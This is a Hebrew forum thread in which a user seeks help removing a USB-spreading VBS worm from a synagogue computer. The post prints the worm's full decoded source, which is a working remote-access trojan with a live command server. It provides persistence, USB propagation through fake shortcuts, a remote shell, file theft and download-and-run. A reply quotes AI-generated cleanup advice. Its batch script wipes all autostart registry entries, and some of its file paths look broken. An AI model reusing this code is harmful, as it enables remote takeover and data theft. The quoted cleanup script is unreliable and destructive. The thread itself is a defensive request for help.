                                    @כככככ anti virus פרוץ אתה לא רואה את הסתירה פה?

                                    יש מקורות אמינים לתוכנות פרוצות אבל עדיף להשאר בטוח ביחוד בדברים כאלו.

                                    תגובה 1 תגובה אחרונה
                                    1
                                    • ר רנדומלי

                                      בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                                      cmd /c hrxxryydxo.vbs && start explorer [file name]
                                      

                                      הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                                      לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                                      תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                                      לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                                      z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                                      

                                      בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                                      לאחר פיענוח הקידוד התקבל הקוד הבא:
                                      אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                                      e
                                      '<[ recoder : houdini (c) skype : houdini-fx ]>
                                      
                                      '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                                      
                                      host = "khattab.no-ip.biz"
                                      port = 5550
                                      installdir = "%temp%"
                                      lnkfile = true
                                      lnkfolder = true
                                      
                                      '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                                      
                                      dim shellobj 
                                      set shellobj = wscript.createobject("wscript.shell")
                                      dim filesystemobj
                                      set filesystemobj = createobject("scripting.filesystemobject")
                                      dim httpobj
                                      set httpobj = createobject("msxml2.xmlhttp")
                                      
                                      '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                                      
                                      installname = wscript.scriptname
                                      startup = shellobj.specialfolders ("startup") & "\"
                                      installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                                      if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                                      spliter = "<" & "|" & ">"
                                      sleep = 5000 
                                      dim response
                                      dim cmd
                                      dim param
                                      info = ""
                                      usbspreading = ""
                                      startdate = ""
                                      dim oneonce
                                      
                                      '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                                      on error resume next
                                      
                                      instance
                                      while true
                                      
                                      install
                                      
                                      response = ""
                                      response = post ("is-ready","")
                                      cmd = split (response,spliter)
                                      select case cmd (0)
                                      case "excecute"
                                            param = cmd (1)
                                            execute param
                                      case "update"
                                            param = cmd (1)
                                            oneonce.close
                                            set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                            oneonce.write param
                                            oneonce.close
                                            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                            wscript.quit 
                                      case "uninstall"
                                            uninstall
                                      case "send"
                                            download cmd (1),cmd (2)
                                      case "site-send"
                                            sitedownloader cmd (1),cmd (2)
                                      case "recv"
                                            param = cmd (1)
                                            upload (param)
                                      case  "enum-driver"
                                            post "is-enum-driver",enumdriver  
                                      case  "enum-faf"
                                            param = cmd (1)
                                            post "is-enum-faf",enumfaf (param)
                                      case  "enum-process"
                                            post "is-enum-process",enumprocess   
                                      case  "cmd-shell"
                                            param = cmd (1)
                                            post "is-cmd-shell",cmdshell (param)  
                                      case  "delete"
                                            param = cmd (1)
                                            deletefaf (param) 
                                      case  "exit-process"
                                            param = cmd (1)
                                            exitprocess (param) 
                                      case  "sleep"
                                            param = cmd (1)
                                            sleep = eval (param)        
                                      end select
                                      
                                      wscript.sleep sleep
                                      
                                      wend
                                      
                                      sub install
                                      on error resume next
                                      dim lnkobj
                                      dim filename
                                      dim foldername
                                      dim fileicon
                                      dim foldericon
                                      
                                      upstart
                                      for each drive in filesystemobj.drives
                                      
                                      if  drive.isready = true then
                                      if  drive.freespace  > 0 then
                                      if  drive.drivetype  = 1 then
                                          filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                                          if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                              filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                                          end if
                                          for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                              if not lnkfile then exit for
                                              if  instr (file.name,".") then
                                                  if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                                      file.attributes = 2+4
                                                      if  ucase (file.name) <> ucase (installname) then
                                                          filename = split(file.name,".")
                                                          set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                                          lnkobj.windowstyle = 7
                                                          lnkobj.targetpath = "cmd.exe"
                                                          lnkobj.workingdirectory = ""
                                                          lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                          fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                                          if  instr (fileicon,",") = 0 then
                                                              lnkobj.iconlocation = file.path
                                                          else 
                                                              lnkobj.iconlocation = fileicon
                                                          end if
                                                          lnkobj.save()
                                                      end if
                                                  end if
                                              end if
                                          next
                                          for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                              if not lnkfolder then exit for
                                              folder.attributes = 2+4
                                              foldername = folder.name
                                              set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                              lnkobj.windowstyle = 7
                                              lnkobj.targetpath = "cmd.exe"
                                              lnkobj.workingdirectory = ""
                                              lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                              foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                              if  instr (foldericon,",") = 0 then
                                                  lnkobj.iconlocation = folder.path
                                              else 
                                                  lnkobj.iconlocation = foldericon
                                              end if
                                              lnkobj.save()
                                          next
                                      end If
                                      end If
                                      end if
                                      next
                                      err.clear
                                      end sub
                                      
                                      sub uninstall
                                      on error resume next
                                      dim filename
                                      dim foldername
                                      
                                      shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                      shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                      filesystemobj.deletefile startup & installname ,true
                                      filesystemobj.deletefile wscript.scriptfullname ,true
                                      
                                      for  each drive in filesystemobj.drives
                                      if  drive.isready = true then
                                      if  drive.freespace  > 0 then
                                      if  drive.drivetype  = 1 then
                                          for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                               on error resume next
                                               if  instr (file.name,".") then
                                                   if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                                       file.attributes = 0
                                                       if  ucase (file.name) <> ucase (installname) then
                                                           filename = split(file.name,".")
                                                           filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                                       else
                                                           filesystemobj.deletefile (drive.path & "\" & file.name)
                                                       end If
                                                   else
                                                       filesystemobj.deletefile (file.path) 
                                                   end if
                                               end if
                                           next
                                           for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                               folder.attributes = 0
                                           next
                                      end if
                                      end if
                                      end if
                                      next
                                      wscript.quit
                                      end sub
                                      
                                      function post (cmd ,param)
                                      
                                      post = param
                                      httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                                      httpobj.setrequestheader "user-agent:",information
                                      httpobj.send param
                                      post = httpobj.responsetext
                                      end function
                                      
                                      function information
                                      on error resume next
                                      if  inf = "" then
                                          inf = hwid & spliter 
                                          inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                                          inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                                      
                                          set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                          set os = root.execquery ("select * from win32_operatingsystem")
                                          for each osinfo in os
                                             inf = inf & osinfo.caption & spliter  
                                             exit for
                                          next
                                          inf = inf & "plus" & spliter
                                          inf = inf & security & spliter
                                          inf = inf & usbspreading
                                          information = inf  
                                      else
                                          information = inf
                                      end if
                                      end function
                                      
                                      sub upstart ()
                                      on error resume Next
                                      
                                      shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                      filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                                      filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                                      
                                      end sub
                                      
                                      function hwid
                                      on error resume next
                                      
                                      set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                      set disks = root.execquery ("select * from win32_logicaldisk")
                                      for each disk in disks
                                          if  disk.volumeserialnumber <> "" then
                                              hwid = disk.volumeserialnumber
                                              exit for
                                          end if
                                      next
                                      end function
                                      
                                      function security 
                                      on error resume next
                                      
                                      security = ""
                                      
                                      set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                      set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                                      for each objitem in colitems
                                          versionstr = split (objitem.version,".")
                                      next
                                      versionstr = split (colitems.version,".")
                                      osversion = versionstr (0) & "."
                                      for  x = 1 to ubound (versionstr)
                                           osversion = osversion &  versionstr (i)
                                      next
                                      osversion = eval (osversion)
                                      if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                                      
                                      set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                                      Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                                      
                                      for each objantivirus in colantivirus
                                          security  = security  & objantivirus.displayname & " ."
                                      next
                                      if security  = "" then security  = "nan-av"
                                      end function
                                      
                                      function instance
                                      on error resume next
                                      
                                      usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                                      if usbspreading = "" then
                                         if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                            usbspreading = "true - " & date
                                            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                         else
                                            usbspreading = "false - " & date
                                            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                      
                                         end if
                                      end If
                                      
                                      
                                      upstart
                                      set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                                      set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                                      if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                                          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                                          wscript.quit 
                                      end If
                                      err.clear
                                      set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                                      if  err.number > 0 then wscript.quit
                                      end function
                                      
                                      sub sitedownloader (fileurl,filename)
                                      
                                      strlink = fileurl
                                      strsaveto = installdir & filename
                                      set objhttpdownload = createobject("msxml2.xmlhttp" )
                                      objhttpdownload.open "get", strlink, false
                                      objhttpdownload.send
                                      
                                      set objfsodownload = createobject ("scripting.filesystemobject")
                                      if  objfsodownload.fileexists (strsaveto) then
                                          objfsodownload.deletefile (strsaveto)
                                      end if
                                       
                                      if objhttpdownload.status = 200 then
                                         dim  objstreamdownload
                                         set  objstreamdownload = createobject("adodb.stream")
                                         with objstreamdownload
                                              .type = 1 
                                              .open
                                              .write objhttpdownload.responsebody
                                              .savetofile strsaveto
                                              .close
                                         end with
                                         set objstreamdownload = nothing
                                      end if
                                      if objfsodownload.fileexists(strsaveto) then
                                         shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                      end if 
                                      end sub
                                      
                                      sub download (fileurl,filedir)
                                      
                                      if filedir = "" then 
                                         filedir = installdir
                                      end if
                                      
                                      strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                                      set objhttpdownload = createobject("msxml2.xmlhttp")
                                      objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                                      objhttpdownload.send ""
                                           
                                      set objfsodownload = createobject ("scripting.filesystemobject")
                                      if  objfsodownload.fileexists (strsaveto) then
                                          objfsodownload.deletefile (strsaveto)
                                      end if
                                      if  objhttpdownload.status = 200 then
                                          dim  objstreamdownload
                                          set  objstreamdownload = createobject("adodb.stream")
                                          with objstreamdownload 
                                               .type = 1 
                                               .open
                                               .write objhttpdownload.responsebody
                                               .savetofile strsaveto
                                               .close
                                          end with
                                          set objstreamdownload  = nothing
                                      end if
                                      if objfsodownload.fileexists(strsaveto) then
                                         shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                      end if 
                                      end sub
                                      
                                      function upload (fileurl)
                                      
                                      dim  httpobj,objstreamuploade,buffer
                                      set  objstreamuploade = createobject("adodb.stream")
                                      with objstreamuploade 
                                           .type = 1 
                                           .open
                                           .loadfromfile fileurl
                                           buffer = .read
                                           .close
                                      end with
                                      set objstreamdownload = nothing
                                      set httpobj = createobject("msxml2.xmlhttp")
                                      httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                                      httpobj.send buffer
                                      end function
                                      
                                      function enumdriver ()
                                      
                                      for  each drive in filesystemobj.drives
                                      if   drive.isready = true then
                                           enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                                      end if
                                      next
                                      end Function
                                      
                                      function enumfaf (enumdir)
                                      
                                      enumfaf = enumdir & spliter
                                      for  each folder in filesystemobj.getfolder (enumdir).subfolders
                                           enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                                      next
                                      
                                      for  each file in filesystemobj.getfolder (enumdir).files
                                           enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                                      
                                      next
                                      end function
                                      
                                      function enumprocess ()
                                      
                                      on error resume next
                                      
                                      set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                                      set colitems = objwmiservice.execquery("select * from win32_process",,48)
                                      
                                      dim objitem
                                      for each objitem in colitems
                                          enumprocess = enumprocess & objitem.name & "|"
                                          enumprocess = enumprocess & objitem.processid & "|"
                                          enumprocess = enumprocess & objitem.executablepath & spliter
                                      next
                                      end function
                                      
                                      sub exitprocess (pid)
                                      on error resume next
                                      
                                      shellobj.run "taskkill /F /T /PID " & pid,7,true
                                      end sub
                                      
                                      sub deletefaf (url)
                                      on error resume next
                                      
                                      filesystemobj.deletefile url
                                      filesystemobj.deletefolder url
                                      
                                      end sub
                                      
                                      function cmdshell (cmd)
                                      
                                      dim httpobj,oexec,readallfromany
                                      
                                      set oexec = shellobj.exec ("%comspec% /c " & cmd)
                                      if not oexec.stdout.atendofstream then
                                         readallfromany = oexec.stdout.readall
                                      elseif not oexec.stderr.atendofstream then
                                         readallfromany = oexec.stderr.readall
                                      else 
                                         readallfromany = ""
                                      end if
                                      
                                      cmdshell = readallfromany
                                      end function
                                      
                                      ה מנותק
                                      ה מנותק
                                      היפ הופ
                                      כתב נערך לאחרונה על ידי
                                      #35

                                      @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                      גם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                                      אם זה עדיין רלוונטי אני יכול לדאוג לך לכל מיני בינות....

                                      תגובה 1 תגובה אחרונה
                                      0
                                      • א אור אור אור

                                        וכשכתבתי ו את ההודעה שלך בהתחלה הוא ענה:

                                        צר לי לשמוע על המצב. זה באמת "בור ברשות הרבים" במובן הטכנולוגי ביותר – מחשבים בבתי כנסת שמשמשים ל"אוצר החכמה" הם יעד קלאסי לווירוס הזה (Houdini), בגלל תחלופת הדיסק-און-קי הגבוהה.

                                        הסיבה שהאנטי-וירוס מתקשה היא שהווירוס משתמש בכלי מערכת לגיטימיים של ווינדוס (כמו wscript.exe) כדי להריץ סקריפט טקסט פשוט, מה שמאפשר לו לעיתים לחמוק מתחת לרדאר.

                                        הנה "מפת הדרכים" של המקומות שבהם הוא מתחבא ואיך מנקים אותו מהשורש:

                                        1. היכן הוא מתחבא? (לפי הקוד שצירפת)
                                          הווירוס הזה עקשן כי הוא משכפל את עצמו לכמה מקומות בו-זמנית:

                                        תיקיית זמניים (Temp): הוא מעתיק את עצמו לתיקיית %temp%.

                                        תיקיית הפעלה (Startup): הוא שותל שם עותק כדי שיעלה בכל פעם שהמחשב נדלק.

                                        רישום המערכת (Registry): הוא יוצר מפתח בכתובת HKCU\Software\Microsoft\Windows\CurrentVersion\Run תחת שם שנראה תמים.

                                        בכונני USB: הוא הופך את התיקיות האמיתיות שלך לנסתרות ויוצר במקומן קיצורי דרך עם אותו שם.

                                        1. שלבי הניקוי (בצע לפי הסדר)
                                          כדי לנצח אותו, צריך קודם כל "להרדים" אותו ורק אז למחוק:

                                        א. עצירת התהליך
                                        לחץ על Ctrl + Shift + Esc כדי לפתוח את מנהל המשימות.

                                        חפש ברשימה תהליך בשם Windows Script Host או wscript.exe.

                                        לחץ עליו קליק ימני וביצוע "סיום משימה". זה ימנע ממנו לשכפל את עצמו בזמן שאתה מוחק אותו.

                                        ב. מחיקה מהרישום (Registry)
                                        לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.

                                        נווט לנתיב: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.

                                        חפש שם ערך שכתוב בו הנתיב לתיקיית ה-Temp או קובץ שמסתיים ב-.vbs. מחק אותו.

                                        בדוק גם בנתיב המקביל תחת HKEY_LOCAL_MACHINE.

                                        ג. מחיקת הקבצים הפיזיים
                                        פתח את סייר הקבצים והדבק בשורת הכתובת: %temp%. חפש קובץ עם סיומת .vbs (השם יכול להיות אקראי או משהו כמו Houdini) ומחק אותו.

                                        הדבק בשורת הכתובת: shell:startup. אם יש שם קובץ VBS או קיצור דרך חשוד – מחק אותו.

                                        1. תיקון הדיסק-און-קי (החזרת הקבצים שנעלמו)
                                          אם הקבצים בכונן נראים כמו קיצורי דרך, אל תלחץ עליהם! הם אלו שמדביקים מחדש את המחשב.

                                        חבר את הכונן הנגוע.

                                        פתח את "שורת הפקודה" (CMD) כמנהל.

                                        הקלד את האות של הכונן (למשל :F) ולחץ Enter.

                                        הקלד את הפקודה הבאה שתבטל את ההסתרה שהווירוס ביצע:
                                        attrib -h -r -s /s /d .

                                        כעת תוכל לראות את התיקיות האמיתיות שלך. מחק את כל קבצי ה-LNK (קיצורי הדרך) ואת קובץ ה-VBS שנמצא על הכונן.

                                        עצה קטנה ל"אוצר החכמה" בבית הכנסת:
                                        כדי למנוע הישנות, כדאי להתקין תוכנה קטנה וחינמית בשם USB Vaccinator או פשוט לחסום הרצת סקריפטים מסוג VBS במחשב אם אין בהם צורך (דרך ה-Registry).

                                        האם תרצה שאכתוב עבורך פקודה אחת פשוטה (Batch file) שתבצע את כל הניקוי הזה באופן אוטומטי?

                                        כן

                                        כן

                                        ‫Gemini אמר
                                        הנה קוד פשוט שיצרתי עבורך. הוא מבצע את כל הפעולות שדיברנו עליהן: סגירת התהליך הזדוני, מחיקת הקבצים מהתיקיות הנסתרות וניקוי הרישום (Registry).

                                        הוראות ביצוע:
                                        העתק את הקוד למטה.

                                        פתח את "פנקס רשימות" (Notepad).

                                        הדבק את הקוד בתוכו.

                                        שמור את הקובץ בשם CleanVirus.bat (חשוב מאוד שהסיומת תהיה .bat ולא .txt).

                                        לחץ על הקובץ ששמרת קליק ימני ובחר "הפעל כמנהל" (Run as Administrator).

                                        הקוד לניקוי המחשב:
                                        קטע קוד
                                        @echo off
                                        color 0A
                                        echo Stopping Virus Process...
                                        taskkill /F /IM wscript.exe /T

                                        echo.
                                        echo Deleting Virus Files...
                                        del /F /Q "%temp%*.vbs"
                                        del /F /Q "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup*.vbs"

                                        echo.
                                        echo Cleaning Registry Keys...
                                        reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /va /f
                                        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /va /f

                                        echo.
                                        echo Restoration Complete.
                                        echo Please check your USB drives separately using the 'attrib' command.
                                        pause
                                        מה הקוד הזה עושה בפועל?
                                        taskkill: מפסיק מיד את המנוע שמריץ את הווירוס (wscript).

                                        del: מוחק קבצי VBS חשודים מתיקיית הזמניים ומתיקיית ההפעלה האוטומטית.

                                        reg delete: מנקה את רשימת התוכנות שעולות עם המחשב כדי שהווירוס לא יחזור אחרי הפעלה מחדש.

                                        [!CAUTION]
                                        שים לב: הפקודה reg delete עם הפרמטר /va מוחקת את כל התוכנות שעולות אוטומטית למשתמש הנוכחי. זה אומר שאם יש תוכנות לגיטימיות (כמו דרייבר של מדפסת או WhatsApp) שעולות עם המחשב, תצטרך להפעיל אותן ידנית פעם אחת כדי שיחזרו לרשימה, או פשוט להשאיר אותן כך. במחשב של "אוצר החכמה" זה לרוב צעד בטוח ונחוץ.

                                        טיפול בכונני ה-USB (הדיסק-און-קי):
                                        אחרי שהרצת את הקובץ למעלה והמחשב "נקי", חבר את הכונן הנגוע והרצ את הפקודה הזו בתוך חלון ה-CMD (שורת הפקודה):
                                        attrib -h -r -s /s /d X:*.*
                                        (החלף את האות X באות של הכונן שלך).

                                        זה יחזיר את כל התיקיות שהווירוס הסתיר. לאחר מכן, פשוט מחק ידנית מהכונן כל קובץ עם סיומת .vbs וכל קיצור דרך שנראה כמו תיקייה.

                                        האם תרצה שאסביר לך איך לחסום את המחשב מהרצת קבצי VBS בעתיד כדי שהווירוס לא יוכל לחזור לעולם?

                                        אמרת
                                        כן

                                        ‫Gemini אמר
                                        כדי למנוע מה"בור" הזה להיפתח שוב בלב בית הכנסת, הדרך הכי טובה היא פשוט להוציא לסקריפטים האלו את ה"מנוע" מהחשמל. ברגע שנחסום את היכולת של המחשב להריץ קבצי VBS, גם אם מישהו יחבר דיסק-און-קי נגוע וילחץ על כל קיצורי הדרך שבעולם – שום דבר לא יקרה.

                                        הנה שתי דרכים לעשות זאת, מהקלה והבטוחה ועד היסודית ביותר:

                                        אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
                                        בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

                                        צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

                                        לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

                                        בחר ב-"פנקס רשימות" (Notepad).

                                        חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

                                        לחץ על אישור.

                                        התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

                                        אפשרות ב': חסימה מוחלטת דרך הרישום (Registry)
                                        זו שיטה "חזקה" יותר שמנטרלת את המנוע שמריץ סקריפטים (Windows Script Host) לחלוטין.

                                        לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.

                                        נווט לנתיב הבא (תוכל להעתיק ולהדביק בשורת הכתובת למעלה):
                                        HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings

                                        בצד ימין (או שמאל, תלוי בשפת המערכת), לחץ קליק ימני על שטח ריק -> New (חדש) -> DWORD (32-bit) Value.

                                        קרא לערך החדש בשם: Enabled.

                                        וודא שהערך שלו הוא 0 (זה ברירת המחדל).

                                        סגור את הרישום והפעל מחדש את המחשב.

                                        התוצאה: אם מישהו ינסה להריץ סקריפט, ווינדוס יקפיץ הודעה ש"הגישה ל-Windows Script Host חסומה במחשב זה". זהו סוף פסוק לווירוסי VBS.

                                        טיפ קטן לגבאי / אחראי המחשב:
                                        מכיוון שהמחשב של "אוצר החכמה" הוא יעד קבוע לדיסק-און-קי מכל הסוגים, כדאי להדביק מדבקה קטנה על המסך: "נא לא להכניס דיסק-און-קי שלא נבדק" – למרות שעם החסימה שעשינו עכשיו, אתם הרבה יותר מוגנים.

                                        [!NOTE]
                                        אם בעתיד תצטרכו להתקין עדכון של "אוצר החכמה" שמשתמש בסקריפטים (נדיר, אבל קורה), תצטרכו להחזיר את הערך Enabled ל-1 באופן זמני.

                                        ה מנותק
                                        ה מנותק
                                        המלאך
                                        כתב נערך לאחרונה על ידי המלאך
                                        #36

                                        @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                        אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
                                        בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

                                        צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

                                        לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

                                        בחר ב-"פנקס רשימות" (Notepad).

                                        חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

                                        לחץ על אישור.

                                        התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

                                        @cfopuser הדרך הזו לא מסוכנת?
                                        כלומר מי ערב לכך שהוא לא יצר לעצמו קיצור דרך?
                                        או שיריץ דרך הפאואר שיל, הcmd?

                                        cfopuserC תגובה 1 תגובה אחרונה
                                        0
                                        • ה המלאך

                                          @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                          אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
                                          בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

                                          צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

                                          לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

                                          בחר ב-"פנקס רשימות" (Notepad).

                                          חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

                                          לחץ על אישור.

                                          התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

                                          @cfopuser הדרך הזו לא מסוכנת?
                                          כלומר מי ערב לכך שהוא לא יצר לעצמו קיצור דרך?
                                          או שיריץ דרך הפאואר שיל, הcmd?

                                          cfopuserC מנותק
                                          cfopuserC מנותק
                                          cfopuser
                                          כתב נערך לאחרונה על ידי
                                          #37

                                          @המלאך ai...
                                          לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

                                          ה מתכנת חובבמ 2 תגובות תגובה אחרונה
                                          0

                                          • התחברות

                                          • אין לך חשבון עדיין? הרשמה

                                          • התחברו או הירשמו כדי לחפש.
                                          • פוסט ראשון
                                            פוסט אחרון
                                          0
                                          • חוקי הפורום
